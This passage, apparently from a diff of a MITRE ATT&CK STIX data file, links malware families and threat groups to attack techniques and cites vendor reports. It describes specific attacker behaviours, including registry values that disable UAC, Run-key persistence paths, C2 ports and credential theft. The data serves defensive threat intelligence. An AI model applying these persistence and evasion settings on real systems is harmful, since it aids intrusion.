2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + }, + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + }, + { + "description": "Dumont, R.. (2019, April 9). OceanLotus: macOS malware update. Retrieved April 15, 2019.", + "source_name": "ESET OceanLotus macOS April 2019", + "url": "https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[ZeroT](https://attack.mitre.org/software/S0230) has encrypted its payload with RC4.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--fee82671-3bba-48c7-bef8-63b2b2bb0fa7", + "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.", + "source_name": "Proofpoint ZeroT Feb 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.047Z", + "id": "relationship--3f780c76-b5d5-43f9-b4f2-048106f00894", + "source_ref": "intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647", + "modified": "2019-03-25T16:51:54.150Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Bizeul 2014", + "description": "Bizeul, D., Fontarensky, I., Mouchoux, R., Perigaud, F., Pernet, C. (2014, July 11). Eye of the Tiger. Retrieved September 29, 2015.", + "url": "http://blog.cassidiancybersecurity.com/post/2014/07/The-Eye-of-the-Tiger2" + }, + { + "source_name": "Villeneuve 2014", + "description": "Villeneuve, N., Homan, J. (2014, July 31). Spy of the Tiger. Retrieved September 29, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", + "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) copies and exfiltrates the clipboard contents every 30 seconds.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--66625422-17cd-4b04-beb5-fa2eabe350ad", + "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.", + "source_name": "F-Secure Cosmicduke", + "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) copies itself over network shares to move laterally on a victim network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--9663d78b-0a81-42af-93b0-8e62cc3af2d7", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "source_name": "Symantec Orangeworm April 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "[RTM](https://attack.mitre.org/software/S0148) uses HTTP POST requests with data formatted using a custom protocol.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--865a5b25-6908-4ad9-a81d-33f3cf48e357", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "source_name": "ESET RTM Feb 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) can hook GetClipboardData function to watch for clipboard pastes to collect.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T17:59:44.527Z", + "id": "relationship--ce378e64-5802-4751-8b8e-d7bf68ce4c6a", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "modified": "2019-04-16T20:55:20.185Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", + "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can capture screenshots of the victim\u2019s desktop.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:44:04.958Z", + "id": "relationship--08109d9e-3258-4b9b-8e1d-ea90d05c18b9", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "modified": "2019-04-16T14:30:35.395Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.", + "source_name": "Talos Agent Tesla Oct 2018", + "url": "https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html" + }, + { + "description": "The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018.", + "source_name": "DigiTrust Agent Tesla Jan 2017", + "url": "https://www.digitrustgroup.com/agent-tesla-keylogger/" + }, + { + "description": "Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.", + "source_name": "Fortinet Agent Tesla April 2018", + "url": "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html" + }, + { + "description": "Zhang, X. (2017, June 28). In-Depth Analysis of A New Variant of .NET Malware AgentTesla. Retrieved November 5, 2018.", + "source_name": "Fortinet Agent Tesla June 2017", + "url": "https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Remcos](https://attack.mitre.org/software/S0332) can search for files on the infected machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:55:20.966Z", + "id": "relationship--cafaa08a-1f40-40cb-a3fd-c507a1cc6e40", + "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", + "modified": "2019-04-19T14:39:53.078Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018.", + "source_name": "Riskiq Remcos Jan 2018", + "url": "https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[DarkComet](https://attack.mitre.org/software/S0334) adds a Registry value for its installation routine to the Registry Key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System Enable LUA=\u201d0\u201d and HKEY_CURRENT_USER\\Software\\DC3_FEXEC.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:18:28.818Z", + "id": "relationship--c88e7db9-47b1-4fe9-943a-98ebde29980b", + "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "modified": "2019-06-04T19:40:43.666Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro DarkComet Sept 2014", + "description": "TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET" + }, + { + "source_name": "Malwarebytes DarkComet March 2018", + "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "description": "[NanoCore](https://attack.mitre.org/software/S0336) communicates to its C2 over ports 6666 and 4782.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T20:05:36.523Z", + "id": "relationship--f05d6d7d-74c7-4688-bc3f-8bdb9dd707e6", + "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676", + "modified": "2019-04-17T20:47:23.949Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "source_name": "Unit 42 Gorgon Group Aug 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + }, + { + "description": "Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018.", + "source_name": "PaloAlto NanoCore Feb 2016", + "url": "https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:27:25.294Z", + "id": "relationship--b56a1198-e23a-48f4-9744-7a6f087b79a3", + "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "modified": "2019-09-09T19:10:53.558Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "source_name": "FireEye APT38 Oct 2018", + "url": "https://content.fireeye.com/apt/rpt-apt38" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842", + "description": "[Cobian RAT](https://attack.mitre.org/software/S0338) obfuscates communications with the C2 server using Base64 encoding.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:40:37.640Z", + "id": "relationship--a70a6fbd-379d-4104-8323-ce25a950c892", + "source_ref": "malware--aa1462a1-d065-416c-b354-bedd04998c7f", + "modified": "2019-04-23T21:09:54.732Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Yadav, A., et al. (2017, August 31). Cobian RAT \u2013 A backdoored RAT. Retrieved November 13, 2018.", + "source_name": "Zscaler Cobian Aug 2017", + "url": "https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Elise](https://attack.mitre.org/software/S0081) is capable of launching a remote shell on the host to delete itself.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:57:39.524Z", + "id": "relationship--ad595353-854a-4e2d-b569-7cbe7130015d", + "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "modified": "2019-04-17T22:12:24.931Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS\u2019 MEETING AND ASSOCIATES. Retrieved November 14, 2018.", + "source_name": "Accenture Dragonfish Jan 2018", + "url": "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) collects a list of running processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:42:09.638Z", + "id": "relationship--058c67f3-9345-42be-a433-a4cea314d26d", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "modified": "2019-01-30T13:42:09.638Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "source_name": "ESET GreyEnergy Oct 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[APT18](https://attack.mitre.org/groups/G0026) uses cmd.exe to execute commands on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T14:00:49.896Z", + "id": "relationship--e453cf75-0df0-45e5-a5ce-e0984bf864f8", + "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "modified": "2019-05-30T18:05:32.848Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto DNS Requests May 2016", + "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + }, + { + "description": "Shelmire, A. (2015, July 06). Evasive Maneuvers by the Wekby group with custom ROP-packing and DNS covert channels. Retrieved November 15, 2018.", + "source_name": "Anomali Evasive Maneuvers July 2015", + "url": "https://www.anomali.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[Exaramel for Windows](https://attack.mitre.org/software/S0343) adds the configuration to the Registry in XML format.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:10:04.241Z", + "id": "relationship--ab11615f-a0d9-43c9-b71e-6ae83155bf3b", + "source_ref": "malware--051eaca1-958f-4091-9e5f-a9acd8f820b5", + "modified": "2019-09-04T23:04:50.167Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET TeleBots Oct 2018", + "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.", + "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "description": "[APT1](https://attack.mitre.org/groups/G0006) used the commands net start and tasklist to get a listing of the services on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:33:07.459Z", + "id": "relationship--f9c7127d-2a27-4dcf-bef5-9150a6c4334d", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:13.342Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[OceanSalt](https://attack.mitre.org/software/S0346) can collect the computer name from the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:43:19.431Z", + "id": "relationship--88d53468-4ab8-455e-bd16-dc52ef9a3d96", + "source_ref": "malware--288fa242-e894-4c7e-ac86-856deedf5cea", + "modified": "2019-02-12T21:14:11.278Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.", + "source_name": "McAfee Oceansalt Oct 2018", + "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) sets HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Load to point to its executable.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T16:39:54.476Z", + "id": "relationship--d7983dcd-1970-4d84-82e7-a61d2125caeb", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "modified": "2019-06-10T18:25:51.807Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has run a tool that steals passwords saved in victim email.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:33:40.945Z", + "id": "relationship--ee05131d-83bd-4eb5-b6c1-0f6925045b95", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "modified": "2019-06-28T15:30:58.853Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.", + "source_name": "Symantec MuddyWater Dec 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[zwShell](https://attack.mitre.org/software/S0350) has deleted itself after creating a service as well as deleted a temporary file when the system reboots.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:48:35.644Z", + "id": "relationship--49c54595-7740-40c9-8f12-68d8fd70ce9d", + "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530", + "modified": "2019-01-30T17:48:35.644Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--0c8465c0-d0b4-4670-992e-4eee8d7ff952", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:02:59.516Z", + "id": "relationship--0608a4e2-575d-4a2b-9ab4-b85d6d12450b", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "modified": "2019-03-25T14:36:29.995Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "source_name": "McAfee Night Dragon", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T19:06:33.901Z", + "id": "relationship--5f402d02-94f9-49de-b097-2d89c59de394", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:36.191Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "source_name": "Unit42 Cannon Nov 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + }, + { + "source_name": "Unit42 Sofacy Dec 2018", + "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.", + "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "description": "[NOKKI](https://attack.mitre.org/software/S0353) has used rundll32 for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T19:50:46.755Z", + "id": "relationship--b1d2f617-f0ca-43b8-921c-687fad920f39", + "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", + "modified": "2019-01-31T00:38:09.395Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 NOKKI Sept 2018", + "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[KONNI](https://attack.mitre.org/software/S0356) creates a shortcut called \"Anti virus service.lnk\" in an apparent attempt to masquerade as a legitimate file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T00:36:40.976Z", + "id": "relationship--f4f3a2bc-d359-400e-8b1e-95d71a20c323", + "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", + "modified": "2019-07-26T18:47:19.330Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Konni May 2017", + "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[APT32](https://attack.mitre.org/groups/G0050) established persistence using Registry Run keys, both to execute PowerShell and VBS scripts as well as to execute their backdoor directly.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T01:07:58.711Z", + "id": "relationship--f4a0f496-b47c-4bdf-affb-b57fb17203db", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.698Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + }, + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[FIN4](https://attack.mitre.org/groups/G0085) has used VBA macros to display a dialog box and collect victim credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T02:01:45.707Z", + "id": "relationship--0ef0077e-ee87-4e67-a466-2085a9148fc9", + "source_ref": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6", + "modified": "2019-04-18T20:19:49.305Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Hacking FIN4 Dec 2014", + "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.", + "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html" + }, + { + "source_name": "FireEye Hacking FIN4 Video Dec 2014", + "description": "Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved January 15, 2019.", + "url": "https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": 